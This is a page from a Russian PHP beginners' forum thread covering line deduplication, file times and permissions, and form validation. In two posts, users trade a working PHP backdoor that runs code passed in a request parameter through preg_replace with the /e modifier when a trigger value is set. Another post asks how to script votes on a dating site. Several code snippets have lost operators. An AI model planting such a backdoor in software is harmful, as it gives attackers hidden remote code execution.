[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    $str implode("\r\n"array_unique(array_map('trim'explode("\n"$str))));
     
    1 person likes this.
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    d_x, зачем делать trim для элементов массива, а потом объединять их через \r\n, обрезанный тем же trim? Да, и строка может иметь пробелы.

    Как вариант:

    PHP:
    $str implode(""array_unique(explode("\n"$str)));
     
    #15282 mailbrush, 31 May 2010
    Last edited: 31 May 2010
  3. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Внушительней смотриццо)
     
  4. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    mailbrush, не было конакретных требований касательно этого.

    Твой способ не сработает, например, если строки будут разделены \r\n, а после последней строки \r\n не будет, вроде такого:

    Code:
    11111\r\n
    22222\r\n
    11111
    
    Мой код можно еще уточнить:
    PHP:
    $str implode("\r\n"array_unique(array_map('mytrim'explode("\n"$str)))); 

    function 
    mytrim($str)
    {
      return 
    trim($str"\r\n");
    }
    Теперь он будет учитывать наличие пробелов и не будет ошибаться в вышеописанном случае.
     
    #15284 d_x, 1 Jun 2010
    Last edited: 1 Jun 2010
  5. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Да, точно, последняя строка будет без \r\n, тоесть не равна 11111\r\n. Вот тут просчитался :)

    А вообще, идеальный вариант тогда вот так:

    PHP:
    $str implode("\r\n"array_unique(array_map('mytrim'explode("\n"$str))));  

    function 
    mytrim($str
      return 
    trim($str"\r\n"); 
    Просто визуально лучше выглядит, хотя функционал тот же.

    Ладно, забьем ;)
     
  6. DonKihot

    DonKihot New Member

    Joined:
    23 May 2010
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    1.Как узнать время создания (НЕ изменения) файла?
    2. Как узнать какие права доступа к файлу/папке?

    Желательно через stat . Очень нужно.
    Вот инфа :
    stat(filename)[9] - время последней модификации содержимого файла;
    stat(filename)[10] - время последнего изменения атрибутов файла;
    но не ясно что к чему относится.
     
    #15286 DonKihot, 1 Jun 2010
    Last edited: 1 Jun 2010
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    2. fileperms()
     
    1 person likes this.
  8. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    stat() не везде работает.

    PHP:
    <?php
    $filename 
    'test.txt';

    if (
    file_exists($filename)) 
        echo 
    "Файл $filename создан: " date(" <b>d.Y.H:i:s</b>"filectime($filename));
    else
        echo 
    "Error, File don't opening!";
    ?>
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    И filectime() не поможет
     
  10. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    stat() по описанию под виндой вообще работать не должен( -1 вернет ), а filectime() вернет не верный результат в случае если измены права на файл или группа.
     
  11. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Ins3t хотелось бы узнать, в каких это случаях stat() не будет работать? И где это вы увидели, что stat() будет возврашать -1. В мане описано, что -1 будет возвращено только для поля blksize и то не обязательно для винды той же самой.

    DonKihot файловым системам нисколько не интересно, когда файл был создан. Они оперируют 3 временами, о которых нам например может рассказать ман:
    Code:
           The  field  st_atime  is  changed by file accesses, e.g. by execve(2), mknod(2), pipe(2), utime(2) and read(2) (of more than zero bytes).
           Other routines, like mmap(2), may or may not update st_atime.
    
           The field st_mtime is changed by file modifications, e.g. by mknod(2), truncate(2), utime(2) and write(2)  (of  more  than  zero  bytes).
           Moreover,  st_mtime  of a directory is changed by the creation or deletion of files in that directory.  The st_mtime field is not changed
           for changes in owner, group, hard link count, or mode.
    
           The field st_ctime is changed by writing or by setting inode information (i.e., owner, group, link count, mode, etc.).
    Таким образом. atime - изменяется при чтении файла, mtime - при записи в файл, ctime - при изменении аттрибутов. Однако тот же ман говорит:
    PHP:
           Not all of the Linux filesystems implement all of the time fields.  Some file system types  allow  mounting  in  such  a  way  that  file
           accesses 
    do not cause an update of the st_atime field. (See ‘noatime’ in mount(8).)
    То есть на НЕКОТОРЫХ системах можно смотреть на atime как время создания файла, но всецело полагаться на это не стоит.

    Если уж вам настолько критично именно создание файла, то либо создавайте в БД таблицу, с датой заливки файла, либо смотрите минимальную дату среди mtime, ctime и atime
     
    _________________________
  12. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    939
    Likes Received:
    429
    Reputations:
    139
    Да, Вы правы, действительно сказано, что blksize доступен только на системах, поддерживающих тип st_blksize - другие системы (например Windows) вернут -1. Прочел описание по диагонали.
     
  13. roxblnfk

    roxblnfk Elder - Старейшина

    Joined:
    6 Feb 2010
    Messages:
    189
    Likes Received:
    42
    Reputations:
    19
    а чё у тебя всё в кавычках? xD
    какой вобще должен быть смысл кода? Тебе проверка для чего? eval там каким боком?

    вобщем:
    preg_replace('@(.+)@ie', $_REQUEST[cmd2]=="ass" ? '123' : '243' ,'$_REQUEST[cmd]');

    если $_REQUEST[cmd2]=="ass" то будет менять на 123 иначе на 243

    ps: надеюсь, константа cmd2 у тебя задана :) и третий аргумент - не переменная, а текст ;)
     
    #15293 roxblnfk, 1 Jun 2010
    Last edited: 1 Jun 2010
    1 person likes this.
  14. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Nightmare Зачем такой сложный бекдор, если можно глушить ошибки с помощью "@" ? А так рабочий вариант:
    PHP:
    <?PHP
    $_REQUEST
    ['cmd2']="ass";
    $_REQUEST['cmd'] = 'phpinfo();';
    preg_replace('@(.+)@ie',($_REQUEST[cmd2] == "ass")?"eval('\\1');die;":"",$_REQUEST[cmd]);
     
    _________________________
    #15294 Gifts, 1 Jun 2010
    Last edited: 1 Jun 2010
    1 person likes this.
  15. programming

    programming New Member

    Joined:
    26 Aug 2009
    Messages:
    190
    Likes Received:
    3
    Reputations:
    0
    На сайте http://loveplanet.ru/ после поиска(зарегистрированным пользователям) можно заходить в анкеты других людей и ставить Да или Нет. Так вот это делается яваскриптом:
    HTML:
    <a href="#" onclick="return likes.send(1);" class="btn_orange fl" style="width: 70px; margin-left: 20px"><span>Да</span></a>
    			<a href="#" onclick="return likes.send(2);" class="btn_blue fl" style="width: 60px; margin-left: 15px"><span>Нет</span></a>
    А вот и яваскрипт:
    HTML:
    <script language="javascript"><!--
    var likes = {
    	xhr: window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest(),
    	lks: document.getElementById('likes'),
    	ltr: document.getElementById('likes_true'),
    	lfl: document.getElementById('likes_false'),
    	login: 'fuzionbly',
    	send: function(vote){
    		likes.lks.style.display = 'none';
    		var data = '/?a=likes&login='+this.login+'&likes='+vote;
    		this.xhr.open('GET', data, true);
    		this.xhr.onreadystatechange = function(){
    			if(likes.xhr.readyState == 4 && likes.xhr.status == 200){
    				var responseText = likes.xhr.responseText;
    				if(responseText == 1){
    					likes.ltr.style.display = 'block';
    				}else if(responseText == 2){
    					likes.lfl.style.display = 'block';
    				}
    			}
    		}
    		this.xhr.send(data);
    		return false;
    	}
    }
    --></script>

    Куда мне нужно отсылать на сервер запрос, чтобы поставить Да?
    Спасибо.
     
  16. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Снифай и поймешь куда и что отправлять
     
  17. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Ребят такой вопрос, есть переменная
    PHP:
    $tsize250;
    нужно сделать так что бы она была контролируема при загрузке, это получается надо в форму добавить
    HTML:
    <input type="text" name="thumb" size="3">
    
    Юзер вписывает желаемое ему число и теперь вопрос, как мне это число преобразовать в значение переменной $tsize= ;

    Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл";
     
    #15297 Axel G, 1 Jun 2010
    Last edited: 1 Jun 2010
  18. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Не очень понял задачу, так?
    PHP:
    <form action = '<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>' method = 'post'> 
    <input type = 'text' name = 'thumb' size = '3'>
    <input type = 'submit' value = 'ok'>
    </form>
    <?php
    $tsize 
    250;
    $thumb $_POST ['thumb'];
    if (isset (
    $thumb) && ($thumb) <300 )
    {
    $tsize $thumb;
    }
    ?>
     
    #15298 h00lyshit!, 1 Jun 2010
    Last edited: 6 Feb 2011
  19. Axel G

    Axel G New Member

    Joined:
    28 Jan 2009
    Messages:
    86
    Likes Received:
    3
    Reputations:
    3
    Redwood, не совсем так, но алгоритм мне стал ясен.
    PHP:
    <form action = '' method = 'post'>
    <input type = 'text' name = 'thumb' size = '3'>
    <input type = 'submit' value = 'ok'>
    </form>
    <?php
    $tsize 
    $_POST ['thumb'];
    if (isset (
    $tsize) <300 )

    # так а вот здесь тогда как?? Само число должно быть строго меньше 300, но больше 100, ежели не удовлетворяет то echo"Не удалось загрузить файл (ошибка создания превью)";

    ?>  
     
    #15299 Axel G, 1 Jun 2010
    Last edited: 1 Jun 2010
  20. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    PHP:
     <form action = '' method = 'post'> 
    <input type = 'text' name = 'thumb' size = '3'> 
    <input type = 'submit' value = 'ok'> 
    </form> 
    <?php 
    $tsize 
    $_POST ['thumb']; 
    if (isset (
    $tsize) and $tsize<300 and $tsize>100 )
    {
         
    чо надо

    else
    echo 
    "ошибка создания превьью";
    ?>  
     
Thread Status:
Not open for further replies.